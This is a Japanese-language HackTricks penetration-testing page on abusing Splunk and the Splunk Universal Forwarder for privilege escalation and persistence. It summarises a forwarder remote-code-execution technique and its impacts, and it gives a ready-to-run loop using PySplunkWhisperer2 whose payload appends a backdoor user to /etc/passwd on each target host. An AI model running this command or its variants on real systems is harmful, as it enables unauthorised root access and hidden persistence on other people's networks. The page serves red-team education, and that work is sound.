Splunk LPE and Persistence

Reading time: 5 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

もし内部または外部でマシンを列挙しているときにSplunkが実行中（ポート8090）であり、運良く有効な認証情報を知っている場合、Splunkサービスを悪用してSplunkを実行しているユーザーとしてシェルを実行できます。もしrootが実行している場合、特権をrootに昇格させることができます。

また、もしすでにrootであり、Splunkサービスがlocalhostのみにリッスンしていない場合、Splunkサービスからパスワードファイルを盗み、パスワードをクラッキングしたり、新しい認証情報を追加したりできます。そしてホスト上で持続性を維持します。

下の最初の画像では、Splunkdのウェブページがどのように見えるかを確認できます。

Splunk Universal Forwarder Agent Exploit Summary

詳細については、投稿を確認してください https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/。これは要約です：

Exploit Overview: Splunk Universal Forwarder Agent (UF)をターゲットにしたエクスプロイトは、エージェントのパスワードを持つ攻撃者がエージェントを実行しているシステム上で任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。

Key Points:

  • UFエージェントは、受信接続やコードの真正性を検証しないため、不正なコード実行に対して脆弱です。
  • 一般的なパスワード取得方法には、ネットワークディレクトリ、ファイル共有、または内部文書での発見が含まれます。
  • 成功したエクスプロイトは、侵害されたホスト上でSYSTEMまたはrootレベルのアクセス、データの流出、さらなるネットワーク侵入につながる可能性があります。

Exploit Execution:

  1. 攻撃者がUFエージェントのパスワードを取得します。
  2. Splunk APIを利用してエージェントにコマンドやスクリプトを送信します。
  3. 可能なアクションには、ファイル抽出、ユーザーアカウントの操作、システムの侵害が含まれます。

Impact:

  • 各ホストでSYSTEM/rootレベルの権限を持つ完全なネットワーク侵害。
  • 検出を回避するためのログの無効化の可能性。
  • バックドアやランサムウェアのインストール。

Example Command for Exploitation:

bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done

使用可能な公開エクスプロイト:

Splunkクエリの悪用

詳細については、投稿を確認してください https://blog.hrncirik.net/cve-2023-46214-analysis

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする